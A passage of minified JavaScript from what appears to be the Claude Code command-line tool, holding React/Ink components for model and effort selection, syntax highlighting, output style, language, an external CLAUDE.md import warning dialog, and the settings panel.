qA;if(K[18]!==q||K[19]!==T)qA=(GA)=>{T(),q(GA)},K[18]=q,K[19]=T,K[20]=qA;else qA=K[20];let HA;if(K[21]!==C||K[22]!==O||K[23]!==Z)HA=Z?()=>{C(),O?.()}:async()=>{C(),await Jq(0)},K[21]=C,K[22]=O,K[23]=Z,K[24]=HA;else HA=K[24];let _A;if(K[25]!==e||K[26]!==qA||K[27]!==HA||K[28]!==W)_A=Oq.createElement(E6,{options:u,onFocus:e,onChange:qA,onCancel:HA,visibleOptionCount:6,defaultValue:W,defaultFocusValue:W}),K[25]=e,K[26]=qA,K[27]=HA,K[28]=W,K[29]=_A;else _A=K[29];let a;if(K[30]!==d||K[31]!==YA||K[32]!==_A)a=Oq.createElement(S,{flexDirection:"column",gap:1,marginX:1},d,YA,_A),K[30]=d,K[31]=YA,K[32]=_A,K[33]=a;else a=K[33];let JA;if(K[34]===Symbol.for("react.memo_cache_sentinel"))JA={oldStart:1,newStart:1,oldLines:3,newLines:3,lines:[" function greet() {",'- console.log("Hello, World!");','+ console.log("Hello, Claude!");'," }"]},K[34]=JA;else JA=K[34];let jA;if(K[35]!==D)jA=Oq.createElement(S,{flexDirection:"column",borderTop:!0,borderBottom:!0,borderLeft:!1,borderRight:!1,borderStyle:"dashed",borderColor:"subtle",borderDimColor:!0},Oq.createElement(Cf,{patch:JA,dim:!1,filePath:"demo.js",firstLine:null,width:D})),K[35]=D,K[36]=jA;else jA=K[36];let MA=M==="env"?`Syntax highlighting disabled (via CLAUDE_CODE_SYNTAX_HIGHLIGHT=${process.env.CLAUDE_CODE_SYNTAX_HIGHLIGHT})`:M==="build"?"Syntax highlighting available only in native build":R?`Syntax highlighting disabled (${y} to enable)`:f?`Syntax theme: ${f.theme}${f.source?` (from ${f.source})`:""} (${y} to disable)`:`Syntax highlighting enabled (${y} to disable)`,hA;if(K[37]!==MA)hA=Oq.createElement(V,{dimColor:!0}," ",MA),K[37]=MA,K[38]=hA;else hA=K[38];let yA;if(K[39]!==jA||K[40]!==hA)yA=Oq.createElement(S,{flexDirection:"column",width:"100%"},jA,hA),K[39]=jA,K[40]=hA,K[41]=yA;else yA=K[41];let AA;if(K[42]!==a||K[43]!==yA)AA=Oq.createElement(S,{flexDirection:"column",gap:1},a,yA),K[42]=a,K[43]=yA,K[44]=AA;else AA=K[44];let wA=AA;if(!X){let GA;if(K[45]!==wA)GA=Oq.createElement(S,{flexDirection:"column"},wA),K[45]=wA,K[46]=GA;else GA=K[46];let OA;if(K[47]!==$||K[48]!==_)OA=_&&$&&Oq.createElement(S,{marginLeft:3},Oq.createElement(V,{dimColor:!0},$)),K[47]=$,K[48]=_,K[49]=OA;else OA=K[49];let t;if(K[50]!==F||K[51]!==G)t=!G&&Oq.createElement(S,null,Oq.createElement(V,{dimColor:!0,italic:!0},F.pending?Oq.createElement(Oq.Fragment,null,"Press ",F.keyName," again to exit"):Oq.createElement(Y8,null,Oq.createElement(M6,{shortcut:"Enter",action:"select"}),Oq.createElement(M6,{shortcut:"Esc",action:"cancel"})))),K[50]=F,K[51]=G,K[52]=t;else t=K[52];let XA;if(K[53]!==OA||K[54]!==t)XA=Oq.createElement(S,{marginX:1,marginTop:1},OA,t),K[53]=OA,K[54]=t,K[55]=XA;else XA=K[55];let VA;if(K[56]!==GA||K[57]!==XA)VA=Oq.createElement(Oq.Fragment,null,GA,XA),K[56]=GA,K[57]=XA,K[58]=VA;else VA=K[58];return VA}return wA}function cx2(){}function lx2(A){return A.settings.syntaxHighlightingDisabled}var Oq;var BT1=k(()=>{cA();mA();q9();Ps();Iq();Sw();mA();uK();nK();Dq();H5A();I8();A4();C8();Vz();SQ();Oq=o($A(),1)});function UPA(A){let K=s(66),{initial:q,sessionModel:Y,onSelect:z,onCancel:w,isStandaloneCommand:H}=A,J=q===null?gT1:q,O=n8(),[X,$]=mT1.useState(ax2),[_,G]=mT1.useState(!1),[Z,W]=mT1.useState(J),D;if(K[0]===Symbol.for("react.memo_cache_sentinel"))D=Y4A(),K[0]=D;else D=K[0];let j=D,M;A:{if(q!==null&&!j.some((vA)=>vA.value===q)){let vA;if(K[1]!==q)vA=vy(q),K[1]=q,K[2]=vA;else vA=K[2];let RA;if(K[3]!==q||K[4]!==vA)RA=[...j,{value:q,label:vA,description:"Current model"}],K[3]=q,K[4]=vA,K[5]=RA;else RA=K[5];M=RA;break A}M=j}let P=M,f;if(K[6]!==P)f=P.map(ox2),K[6]=P,K[7]=f;else f=K[7];let N=f,T;if(K[8]!==J||K[9]!==N)T=N.some((vA)=>vA.value===J)?J:N[0]?.value??void 0,K[8]=J,K[9]=N,K[10]=T;else T=K[10];let C=T,R=Math.min(10,N.length),x=Math.max(0,N.length-R),y;if(K[11]!==Z||K[12]!==N)y=N.find((vA)=>vA.value===Z)?.label,K[11]=Z,K[12]=N,K[13]=y;else y=K[13];let B=y,b;if(K[14]!==Z)b=Xs()&&g_K(Z),K[14]=Z,K[15]=b;else b=K[15];let F=b,Q;if(K[16]!==F)Q=()=>{if(F)$(rx2),G(!0)},K[16]=F,K[17]=Q;else Q=K[17];let u=Q,d;if(K[18]!==F)d=()=>{if(F)$(nx2),G(!0)},K[18]=F,K[19]=d;else d=K[19];let r=d,c;if(K[20]!==u||K[21]!==r)c={"modelPicker:decreaseEffort":u,"modelPicker:increaseEffort":r},K[20]=u,K[21]=r,K[22]=c;else c=K[22];let YA;if(K[23]===Symbol.for("react.memo_cache_sentinel"))YA={context:"ModelPicker",isActive:Xs()},K[23]=YA;else YA=K[23];s4(c,YA);let e;if(K[24]!==X||K[25]!==_||K[26]!==z)e=function(RA){if(Xs())n("tengu_model_command_menu_effort",{effort:X}),v4("userSettings",{effortLevel:X==="high"?void 0:X});if(RA===gT1){z(null,void 0);return}let fA=Xs()&&_&&g_K(RA)?X:void 0;z(RA,fA)},K[24]=X,K[25]=_,K[26]=z,K[27]=e;else e=K[27];let qA=e,HA;if(K[28]!==H)HA=H&&EK.createElement(g3,{dividerColor:"permission",dividerDimColor:!1}),K[28]=H,K[29]=HA;else HA=K[29];let _A=H?1:0,a,JA;if(K[30]===Symbol.for("react.memo_cache_sentinel"))a=EK.createElement(V,{color:"remember",bold:!0},"Select model"),JA=EK.createElement(V,{dimColor:!0},"Switch between Claude models. Applies to this session and future Claude Code sessions. For other/previous model names, specify with --model."),K[30]=a,K[31]=JA;else a=K[30],JA=K[31];let jA;if(K[32]!==Y)jA=Y&&EK.createElement(V,{dimColor:!0},"Currently using ",vy(Y)," for this session (set by plan mode). Selecting a model will undo this."),K[32]=Y,K[33]=jA;else jA=K[33];let MA;if(K[34]!==jA)MA=EK.createElement(S,{marginBottom:1,flexDirection:"column"},a,JA,jA),K[34]=jA,K[35]=MA;else MA=K[35];let hA=w??ix2,yA;if(K[36]!==qA||K[37]!==C||K[38]!==J||K[39]!==N||K[40]!==hA||K[41]!==R)yA=EK.createElement(S,{flexDirection:"column"},EK.createElement(E6,{defaultValue:J,defaultFocusValue:C,options:N,onChange:qA,onFocus:W,onCancel:hA,visibleOptionCount:R})),K[36]=qA,K[37]=C,K[38]=J,K[39]=N,K[40]=hA,K[41]=R,K[42]=yA;else yA=K[42];let AA;if(K[43]!==x)AA=x>0&&EK.createElement(S,{paddingLeft:3},EK.createElement(V,{dimColor:!0},"and ",x," more…")),K[43]=x,K[44]=AA;else AA=K[44];let wA;if(K[45]!==yA||K[46]!==AA)wA=EK.createElement(S,{flexDirection:"column",marginBottom:1},yA,AA),K[45]=yA,K[46]=AA,K[47]=wA;else wA=K[47];let GA;if(K[48]!==X||K[49]!==B||K[50]!==F)GA=Xs()&&EK.createElement(S,{marginBottom:1,flexDirection:"column"},F?EK.createElement(V,{dimColor:!0},EK.createElement(F_K,{effort:X})," ",ng(X)," ","effort",X==="high"?" (default)":""," ",EK.createElement(V,{color:"subtle"},"← → to adjust")):EK.createElement(V,{color:"subtle"},EK.createElement(F_K,{effort:void 0})," Effort not supported",B?` for ${B}`:"")),K[48]=X,K[49]=B,K[50]=F,K[51]=GA;else GA=K[51];let OA;if(K[52]!==MA||K[53]!==wA||K[54]!==GA)OA=EK.createElement(S,{flexDirection:"column"},MA,wA,GA),K[52]=MA,K[53]=wA,K[54]=GA,K[55]=OA;else OA=K[55];let t;if(K[56]!==O||K[57]!==H)t=H&&EK.createElement(V,{dimColor:!0,italic:!0},O.pending?EK.createElement(EK.Fragment,null,"Press ",O.keyName," again to exit"):EK.createElement(Y8,null,EK.createElement(M6,{shortcut:"Enter",action:"confirm"}),EK.createElement(Q6,{action:"select:cancel",context:"Select",fallback:"Esc",description:"exit"}))),K[56]=O,K[57]=H,K[58]=t;else t=K[58];let XA;if(K[59]!==_A||K[60]!==OA||K[61]!==t)XA=EK.createElement(S,{flexDirection:"column",paddingX:_A},OA,t),K[59]=_A,K[60]=OA,K[61]=t,K[62]=XA;else XA=K[62];let VA;if(K[63]!==HA||K[64]!==XA)VA=EK.createElement(S,{flexDirection:"column",width:"100%"},HA,XA),K[63]=HA,K[64]=XA,K[65]=VA;else VA=K[65];return VA}function ix2(){}function nx2(A){return Q_K(A,"right")}function rx2(A){return Q_K(A,"left")}function ox2(A){return{...A,value:A.value===null?gT1:A.value}}function ax2(){return sx2()}function g_K(A){if(!A)return!1;if(A===gT1)return kmA(Rk());return kmA(cz(A))}function sx2(){let A=Y5A();if(A===void 0)return"high";return tf7(A)}function F_K(A){let K=s(3),{effort:q}=A,Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=["low","medium","high","max"],K[0]=Y;else Y=K[0];let z=Y,w=q?z.indexOf(q)+1:0,H;if(K[1]!==w)H=EK.createElement(EK.Fragment,null,z.map((J,O)=>EK.createElement(V,{key:O,color:O<w?"claude":"subtle"},"▌"))),K[1]=w,K[2]=H;else H=K[2];return H}function Q_K(A,K){let q=["low","medium","high","max"],Y=q.indexOf(A);if(K==="right")return q[(Y+1)%q.length];else return q[(Y-1+q.length)%q.length]}var EK,mT1,gT1="__NO_PREFERENCE__";var FT1=k(()=>{cA();mA();C8();nTA();K7();IWA();I8();q9();Iq();j$();nK();q5();Dq();l1();EK=o($A(),1),mT1=o($A(),1)});function QT1(A){let K=s(18),{onDone:q,isStandaloneDialog:Y,externalIncludes:z}=A,w;if(K[0]===Symbol.for("react.memo_cache_sentinel"))w=[],K[0]=w;else w=K[0];Lm.default.useEffect(Ku2,w);let H;if(K[1]!==q)H=(P)=>{if(P==="no")n("tengu_claude_md_external_includes_dialog_declined",{}),Pz(Au2);else n("tengu_claude_md_external_includes_dialog_accepted",{}),Pz(ex2);q()},K[1]=q,K[2]=H;else H=K[2];let J=H,O;if(K[3]!==J)O=()=>{J("no")},K[3]=J,K[4]=O;else O=K[4];let X=O,$=!Y,_=!Y,G;if(K[5]===Symbol.for("react.memo_cache_sentinel"))G=Lm.default.createElement(V,null,"This project's CLAUDE.md imports files outside the current working directory. Never allow this for third-party repositories."),K[5]=G;else G=K[5];let Z;if(K[6]!==z)Z=z&&z.length>0&&Lm.default.createElement(S,{flexDirection:"column"},Lm.default.createElement(V,{dimColor:!0},"External imports:"),z.map(tx2)),K[6]=z,K[7]=Z;else Z=K[7];let W;if(K[8]===Symbol.for("react.memo_cache_sentinel"))W=Lm.default.createElement(V,{dimColor:!0},"Important: Only use Claude Code with files you trust. Accessing untrusted files may pose security risks"," ",Lm.default.createElement(X7,{url:"https://code.claude.com/docs/en/security"})," "),K[8]=W;else W=K[8];let D;if(K[9]===Symbol.for("react.memo_cache_sentinel"))D=[{label:"Yes, allow external imports",value:"yes"},{label:"No, disable external imports",value:"no"}],K[9]=D;else D=K[9];let j;if(K[10]!==J)j=Lm.default.createElement(E6,{options:D,onChange:(P)=>J(P)}),K[10]=J,K[11]=j;else j=K[11];let M;if(K[12]!==X||K[13]!==j||K[14]!==$||K[15]!==_||K[16]!==Z)M=Lm.default.createElement(L4,{title:"Allow external CLAUDE.md file imports?",color:"warning",onCancel:X,hideBorder:$,hideInputGuide:_},G,Z,W,j),K[12]=X,K[13]=j,K[14]=$,K[15]=_,K[16]=Z,K[17]=M;else M=K[17];return M}function tx2(A,K){return Lm.default.createElement(V,{key:K,dimColor:!0}," ",A.path)}function ex2(A){return{...A,hasClaudeMdExternalIncludesApproved:!0,hasClaudeMdExternalIncludesWarningShown:!0}}function Au2(A){return{...A,hasClaudeMdExternalIncludesApproved:!1,hasClaudeMdExternalIncludesWarningShown:!0}}function Ku2(){n("tengu_claude_md_includes_dialog_shown",{})}var Lm;var Nm6=k(()=>{cA();mA();q9();i6();l1();mA();t3();Lm=o($A(),1)});function U_K(A){let K=s(17),{currentVersion:q,onChoice:Y}=A,z;if(K[0]!==Y)z=function(j){Y(j)},K[0]=Y,K[1]=z;else z=K[1];let w=z,H;if(K[2]!==Y)H=function(){Y("cancel")},K[2]=Y,K[3]=H;else H=K[3];let J=H,O;if(K[4]!==q)O=tpA.default.createElement(V,null,"The stable channel may have an older version than what you're currently running (",q,")."),K[4]=q,K[5]=O;else O=K[5];let X;if(K[6]===Symbol.for("react.memo_cache_sentinel"))X=tpA.default.createElement(V,{dimColor:!0},"How would you like to handle this?"),K[6]=X;else X=K[6];let $;if(K[7]===Symbol.for("react.memo_cache_sentinel"))$={label:"Allow possible downgrade to stable version",value:"downgrade"},K[7]=$;else $=K[7];let _=`Stay on current version (${q}) until stable catches up`,G;if(K[8]!==_)G=[$,{label:_,value:"stay"}],K[8]=_,K[9]=G;else G=K[9];let Z;if(K[10]!==w||K[11]!==G)Z=tpA.default.createElement(E6,{options:G,onChange:w}),K[10]=w,K[11]=G,K[12]=Z;else Z=K[12];let W;if(K[13]!==J||K[14]!==O||K[15]!==Z)W=tpA.default.createElement(L4,{title:"Switch to Stable Channel",onCancel:J,color:"permission",hideBorder:!0,hideInputGuide:!0},O,X,Z),K[13]=J,K[14]=O,K[15]=Z,K[16]=W;else W=K[16];return W}var tpA;var p_K=k(()=>{cA();mA();q9();mA();A4();t3();dB();cB();tpA=o($A(),1)});function d_K(A){return Object.entries(A).map(([K,q])=>({label:q?.name??qu2,value:K,description:q?.description??Yu2}))}function UT1(A){let K=s(16),{initialStyle:q,onComplete:Y,onCancel:z,isStandaloneCommand:w}=A,H;if(K[0]===Symbol.for("react.memo_cache_sentinel"))H=[],K[0]=H;else H=K[0];let[J,O]=epA.useState(H),[X,$]=epA.useState(!0),_,G;if(K[1]===Symbol.for("react.memo_cache_sentinel"))_=()=>{f9A(x1()).then((N)=>{let T=d_K(N);O(T),$(!1)}).catch(()=>{let N=d_K(F3A);O(N),$(!1)})},G=[],K[1]=_,K[2]=G;else _=K[1],G=K[2];epA.useEffect(_,G);let Z;if(K[3]!==Y)Z=(N)=>{Y(N)},K[3]=Y,K[4]=Z;else Z=K[4];let W=Z,D=!w,j=!w,M;if(K[5]===Symbol.for("react.memo_cache_sentinel"))M=Bv.createElement(S,{marginTop:1},Bv.createElement(V,{dimColor:!0},"This changes how Claude Code communicates with you")),K[5]=M;else M=K[5];let P;if(K[6]!==W||K[7]!==q||K[8]!==X||K[9]!==J)P=Bv.createElement(S,{flexDirection:"column",gap:1},M,X?Bv.createElement(V,{dimColor:!0},"Loading output styles…"):Bv.createElement(E6,{options:J,onChange:W,visibleOptionCount:10,defaultValue:q})),K[6]=W,K[7]=q,K[8]=X,K[9]=J,K[10]=P;else P=K[10];let f;if(K[11]!==z||K[12]!==D||K[13]!==j||K[14]!==P)f=Bv.createElement(L4,{title:"Preferred output style",onCancel:z,borderDimColor:!0,hideInputGuide:D,hideBorder:j},P),K[11]=z,K[12]=D,K[13]=j,K[14]=P,K[15]=f;else f=K[15];return f}var Bv,epA,qu2="Default",Yu2="Claude completes coding tasks efficiently and provides concise responses";var Tm6=k(()=>{cA();mA();L3();Am();y4();t3();Bv=o($A(),1),epA=o($A(),1)});function c_K(A){let K=s(13),{initialLanguage:q,onComplete:Y,onCancel:z}=A,[w,H]=vm6.useState(q),[J,O]=vm6.useState((q??"").length),X;if(K[0]===Symbol.for("react.memo_cache_sentinel"))X={context:"Settings"},K[0]=X;else X=K[0];J6("confirm:no",z,X);let $;if(K[1]!==w||K[2]!==Y)$=function(){let f=w?.trim();Y(f||void 0)},K[1]=w,K[2]=Y,K[3]=$;else $=K[3];let _=$,G;if(K[4]===Symbol.for("react.memo_cache_sentinel"))G=u9A.default.createElement(V,null,"Enter your preferred response language:"),K[4]=G;else G=K[4];let Z;if(K[5]===Symbol.for("react.memo_cache_sentinel"))Z=u9A.default.createElement(V,null,eA.pointer),K[5]=Z;else Z=K[5];let W=w??"",D;if(K[6]!==J||K[7]!==_||K[8]!==W)D=u9A.default.createElement(S,{flexDirection:"row",gap:1},Z,u9A.default.createElement(dq,{value:W,onChange:H,onSubmit:_,focus:!0,showCursor:!0,placeholder:`e.g., Japanese, 日本語, Español${eA.ellipsis}`,columns:60,cursorOffset:J,onChangeCursorOffset:O})),K[6]=J,K[7]=_,K[8]=W,K[9]=D;else D=K[9];let j;if(K[10]===Symbol.for("react.memo_cache_sentinel"))j=u9A.default.createElement(V,{dimColor:!0},"Leave empty for default (English)"),K[10]=j;else j=K[10];let M;if(K[11]!==D)M=u9A.default.createElement(S,{flexDirection:"column",gap:1},G,D,j),K[11]=D,K[12]=M;else M=K[12];return M}var u9A,vm6;var l_K=k(()=>{cA();mA();nH();g4();C8();u9A=o($A(),1),vm6=o($A(),1)});function i_K({onClose:A,context:K,setTabsHidden:q,setIsWarning:Y,setHideMargin:z,onSearchModeChange:w}){let[H,J]=I4(),[O,X]=DP.useState(M1()),[$,_]=DP.useState(hHK()),G=o1.useRef(M1()),[Z,W]=DP.useState(yq()),D=o1.useRef(yq()),[j,M]=DP.useState(Z?.outputStyle||nG),P=o1.useRef(j),[f,N]=DP.useState(Z?.language),T=o1.useRef(f),[C,R]=DP.useState(0),[x,y]=DP.useState(!0),B=DP.useCallback((fA)=>{y(fA),w?.(fA)},[w]),b=x,F=yD(),Q=F1((fA)=>fA.mainLoopModel),u=F1((fA)=>fA.verbose),d=F1((fA)=>fA.thinkingEnabled),r=F1((fA)=>fA.promptSuggestionEnabled),c=p4(),[YA,e]=DP.useState({}),qA=o1.useRef(d),[HA,_A]=DP.useState(!1),[a,JA]=DP.useState(null),{query:jA,setQuery:MA,cursorOffset:hA}=eS({isActive:b&&a===null,onExit:()=>{B(!1)}}),yA=z_1(K.options.mcpClients),AA=!P1(process.env.CLAUDE_CODE_DISABLE_FILE_CHECKPOINTING),wA=J26(),GA=PMA();async function OA(fA){n("tengu_config_model_changed",{from_model:Q,to_model:fA}),c((SA)=>({...SA,mainLoopModel:fA})),e((SA)=>{let xA=vy(fA);if("model"in SA){let{model:iA,...lA}=SA;return{...lA,model:xA}}return{...SA,model:xA}})}function t(fA){D6((LA)=>({...LA,verbose:fA})),X({...M1(),verbose:fA}),c((LA)=>({...LA,verbose:fA})),e((LA)=>{if("verbose"in LA){let{verbose:SA,...xA}=LA;return xA}return{...LA,verbose:fA}})}let XA=[{id:"autoCompactEnabled",label:"Auto-compact",value:O.autoCompactEnabled,type:"boolean",onChange(fA){D6((LA)=>({...LA,autoCompactEnabled:fA})),X({...M1(),autoCompactEnabled:fA}),n("tengu_auto_compact_setting_changed",{enabled:fA})}},{id:"spinnerTipsEnabled",label:"Show tips",value:Z?.spinnerTipsEnabled??!0,type:"boolean",onChange(fA){v4("localSettings",{spinnerTipsEnabled:fA}),W((LA)=>({...LA,spinnerTipsEnabled:fA})),n("tengu_tips_setting_changed",{enabled:fA})}},{id:"thinkingEnabled",label:"Thinking mode",value:d??!0,type:"boolean",onChange(fA){c((LA)=>({...LA,thinkingEnabled:fA})),v4("userSettings",{alwaysThinkingEnabled:fA?void 0:!1}),n("tengu_thinking_toggled",{enabled:fA})}},{id:"promptSuggestionEnabled",label:"Prompt suggestions",value:r,type:"boolean",onChange(fA){c((LA)=>({...LA,promptSuggestionEnabled:fA})),v4("userSettings",{promptSuggestionEnabled:fA?void 0:!1})}},...[],...AA?[{id:"fileCheckpointingEnabled",label:"Rewind code (checkpoints)",value:O.fileCheckpointingEnabled,type:"boolean",onChange(fA){D6((LA)=>({...LA,fileCheckpointingEnabled:fA})),X({...M1(),fileCheckpointingEnabled:fA}),n("tengu_file_history_snapshots_setting_changed",{enabled:fA})}}]:[],{id:"verbose",label:"Verbose output",value:u,type:"boolean",onChange:t},{id:"terminalProgressBarEnabled",label:"Terminal progress bar",value:O.terminalProgressBarEnabled,type:"boolean",onChange(fA){D6((LA)=>({...LA,terminalProgressBarEnabled:fA})),X({...M1(),terminalProgressBarEnabled:fA}),n("tengu_terminal_progress_bar_setting_changed",{enabled:fA})}},{id:"defaultPermissionMode",label:"Default permission mode",value:Z?.permissions?.defaultMode||"default",options:(()=>{let fA=["default","plan"],LA=b8()?["bypassPermissions"]:["bypassPermissions","delegate"];return[...fA,...T6A.filter((SA)=>!fA.includes(SA)&&!LA.includes(SA))]})(),type:"enum",onChange(fA){let LA=VF(FR(fA)),SA=v4("userSettings",{permissions:{...Z?.permissions,defaultMode:LA}});if(SA.error){KA(SA.error);return}W((xA)=>({...xA,permissions:{...xA?.permissions,defaultMode:LA}})),e((xA)=>({...xA,defaultPermissionMode:fA})),n("tengu_config_changed",{setting:"defaultPermissionMode",value:fA})}},{id:"respectGitignore",label:"Respect .gitignore in file picker",value:O.respectGitignore,type:"boolean",onChange(fA){D6((LA)=>({...LA,respectGitignore:fA})),X({...M1(),respectGitignore:fA}),n("tengu_respect_gitignore_setting_changed",{enabled:fA})}},GA?{id:"autoUpdatesChannel",label:"Auto-update channel",value:"disabled",type:"managedEnum",onChange(){}}:{id:"autoUpdatesChannel",label:"Auto-update channel",value:Z?.autoUpdatesChannel??"latest",type:"managedEnum",onChange(){}},{id:"theme",label:"Theme",value:H,type:"managedEnum",onChange:J},{id:"notifChannel",label:"Notifications",value:O.preferredNotifChannel,options:["auto","iterm2","terminal_bell","iterm2_with_bell","kitty","ghostty","notifications_disabled"],type:"enum",onChange(fA){D6((LA)=>({...LA,preferredNotifChannel:fA})),X({...M1(),preferredNotifChannel:fA})}},{id:"outputStyle",label:"Output style",value:j,type:"managedEnum",onChange:()=>{}},{id:"language",label:"Language",value:f??"Default (English)",type:"managedEnum",onChange:()=>{}},{id:"editorMode",label:"Editor mode",value:O.editorMode==="emacs"?"normal":O.editorMode||"normal",options:["normal","vim"],type:"enum",onChange(fA){D6((LA)=>({...LA,editorMode:fA})),X({...M1(),editorMode:fA}),n("tengu_editor_mode_changed",{mode:fA,source:"config_panel"})}},...[],...G4("tengu_code_diff_cli",!1)?[{id:"codeDiffFooterEnabled",label:"Show code diff footer",value:O.codeDiffFooterEnabled??!0,type:"boolean",onChange(fA){D6((LA)=>{if(LA.codeDiffFooterEnabled===fA)return LA;return{...LA,codeDiffFooterEnabled:fA}}),X({...M1(),codeDiffFooterEnabled:fA}),n("tengu_code_diff_footer_setting_changed",{enabled:fA})}}]:[],...G4("tengu_pr_status_cli",!1)?[{id:"prStatusFooterEnabled",label:"Show PR status footer",value:O.prStatusFooterEnabled??!0,type:"boolean",onChange(fA){D6((LA)=>{if(LA.prStatusFooterEnabled===fA)return LA;return{...LA,prStatusFooterEnabled:fA}}),X({...M1(),prStatusFooterEnabled:fA}),n("tengu_pr_status_footer_setting_changed",{enabled:fA})}}]:[],{id:"model",label:"Model",value:Q===null?"Default (recommended)":Q,type:"managedEnum",onChange:OA},...yA?[{id:"diffTool",label:"Diff tool",value:O.diffTool??"auto",options:["terminal","auto"],type:"enum",onChange(fA){D6((LA)=>({...LA,diffTool:fA})),X({...M1(),diffTool:fA}),n("tengu_diff_tool_changed",{tool:fA,source:"config_panel"})}}]:[],...!M$()?[{id:"autoConnectIde",label:"Auto-connect to IDE (external terminal)",value:O.autoConnectIde??!1,type:"boolean",onChange(fA){D6((LA)=>({...LA,autoConnectIde:fA})),X({...M1(),autoConnectIde:fA}),n("tengu_auto_connect_ide_changed",{enabled:fA,source:"config_panel"})}}]:[],...M$()?[{id:"autoInstallIdeExtension",label:"Auto-install IDE extension",value:O.autoInstallIdeExtension??!0,type:"boolean",onChange(fA){D6((LA)=>({...LA,autoInstallIdeExtension:fA})),X({...M1(),autoInstallIdeExtension:fA}),n("tengu_auto_install_ide_extension_changed",{enabled:fA,source:"config_panel"})}}]:[],{id:"claudeInChromeDefaultEnabled",label:"Claude in Chrome enabled by default",value:O.claudeInChromeDefaultEnabled??!0,type:"boolean",onChange(fA){D6((LA)=>({...LA,claudeInChromeDefaultEnabled:fA})),X({...M1(),claudeInChromeDefaultEnabled:fA}),n("tengu_claude_in_chrome_setting_changed",{enabled:fA})}},...b8()?(()=>{let fA=kS6();return[{id:"teammateMode",label:fA?`Teammate mode [overridden: ${fA}]`:"Teammate mode",value:O.teammateMode??"auto",options:["auto","tmux","in-process"],type:"enum",onChange(SA){if(SA!=="auto"&&SA!=="tmux"&&SA!=="in-process")return;CS6(SA),D6((xA)=>({...xA,teammateMode:SA})),X({...M1(),teammateMode:SA}),n("tengu_teammate_mode_changed",{mode:SA})}}]})():[],...wA?[{id:"showExternalIncludesDialog",label:"External CLAUDE.md includes",value:(()=>{if(Z2().hasClaudeMdExternalIncludesApproved)return"true";else return"false"})(),type:"managedEnum",onChange(){}}]:[],...process.env.ANTHROPIC_API_KEY?[{id:"apiKey",label:o1.createElement(V,null,"Use custom API key:"," ",o1.createElement(V,{bold:!0},uv(process.env.ANTHROPIC_API_KEY))),searchText:"Use custom API key",value:Boolean(process.env.ANTHROPIC_API_KEY&&O.customApiKeyResponses?.approved?.includes(uv(process.env.ANTHROPIC_API_KEY))),type:"boolean",onChange(fA){D6((LA)=>{let SA={...LA};if(!SA.customApiKeyResponses)SA.customApiKeyResponses={approved:[],rejected:[]};if(!SA.customApiKeyResponses.approved)SA.customApiKeyResponses={...SA.customApiKeyResponses,approved:[]};if(!SA.customApiKeyResponses.rejected)SA.customApiKeyResponses={...SA.customApiKeyResponses,rejected:[]};if(process.env.ANTHROPIC_API_KEY){let xA=uv(process.env.ANTHROPIC_API_KEY);if(fA)SA.customApiKeyResponses={...SA.customApiKeyResponses,approved:[...(SA.customApiKeyResponses.approved??[]).filter((iA)=>iA!==xA),xA],rejected:(SA.customApiKeyResponses.rejected??[]).filter((iA)=>iA!==xA)};else SA.customApiKeyResponses={...SA.customApiKeyResponses,approved:(SA.customApiKeyResponses.approved??[]).filter((iA)=>iA!==xA),rejected:[...(SA.customApiKeyResponses.rejected??[]).filter((iA)=>iA!==xA),xA]}}return SA}),X(M1())}}]:[]],VA=o1.useMemo(()=>{if(!jA)return XA;let fA=jA.toLowerCase();return XA.filter((LA)=>{if(LA.id.toLowerCase().includes(fA))return!0;return("searchText"in LA?LA.searchText:LA.label).toLowerCase().includes(fA)})},[XA,jA]);o1.useEffect(()=>{if(C>=VA.length)R(Math.max(0,VA.length-1))},[VA.length,C]);let vA=DP.useCallback(()=>{if(a!==null)return;let fA=Object.entries(YA).map(([xA,iA])=>{return n("tengu_config_changed",{key:xA,value:iA}),`Set ${xA} to ${O1.bold(iA)}`}),LA=Boolean(process.env.ANTHROPIC_API_KEY&&G.current.customApiKeyResponses?.approved?.includes(uv(process.env.ANTHROPIC_API_KEY))),SA=Boolean(process.env.ANTHROPIC_API_KEY&&O.customApiKeyResponses?.approved?.includes(uv(process.env.ANTHROPIC_API_KEY)));if(LA!==SA)fA.push(`${SA?"Enabled":"Disabled"} custom API key`),n("tengu_config_changed",{key:"env.ANTHROPIC_API_KEY",value:SA});if(O.theme!==G.current.theme)fA.push(`Set theme to ${O1.bold(O.theme)}`);if(O.preferredNotifChannel!==G.current.preferredNotifChannel)fA.push(`Set notifications to ${O1.bold(O.preferredNotifChannel)}`);if(j!==P.current)fA.push(`Set output style to ${O1.bold(j)}`);if(f!==T.current)fA.push(`Set response language to ${O1.bold(f??"Default (English)")}`);if(O.editorMode!==G.current.editorMode)fA.push(`Set editor mode to ${O1.bold(O.editorMode||"emacs")}`);if(O.diffTool!==G.current.diffTool)fA.push(`Set diff tool to ${O1.bold(O.diffTool)}`);if(O.autoConnectIde!==G.current.autoConnectIde)fA.push(`${O.autoConnectIde?"Enabled":"Disabled"} auto-connect to IDE`);if(O.autoInstallIdeExtension!==G.current.autoInstallIdeExtension)fA.push(`${O.autoInstallIdeExtension?"Enabled":"Disabled"} auto-install IDE extension`);if(O.autoCompactEnabled!==G.current.autoCompactEnabled)fA.push(`${O.autoCompactEnabled?"Enabled":"Disabled"} auto-compact`);if(O.respectGitignore!==G.current.respectGitignore)fA.push(`${O.respectGitignore?"Enabled":"Disabled"} respect .gitignore in file picker`);if(O.terminalProgressBarEnabled!==G.current.terminalProgressBarEnabled)fA.push(`${O.terminalProgressBarEnabled?"Enabled":"Disabled"} terminal progress bar`);if(Z?.autoUpdatesChannel!==D.current?.autoUpdatesChannel)fA.push(`Set auto-update channel to ${O1.bold(Z?.autoUpdatesChannel??"latest")}`);if(fA.length>0)A(fA.join(` `));else A("Config dialog dismissed",{display:"system"})},[a,YA,O,j,f,Z?.autoUpdatesChannel,A]);J6("confirm:no",vA,{context:"Settings",isActive:a===null});let RA=DP.useCallback(()=>{let fA=VA[C];if(!fA||!fA.onChange)return;if(fA.type==="boolean"){if(fA.onChange(!fA.value),fA.id==="thinkingEnabled"){if(!fA.value===qA.current)_A(!1);else 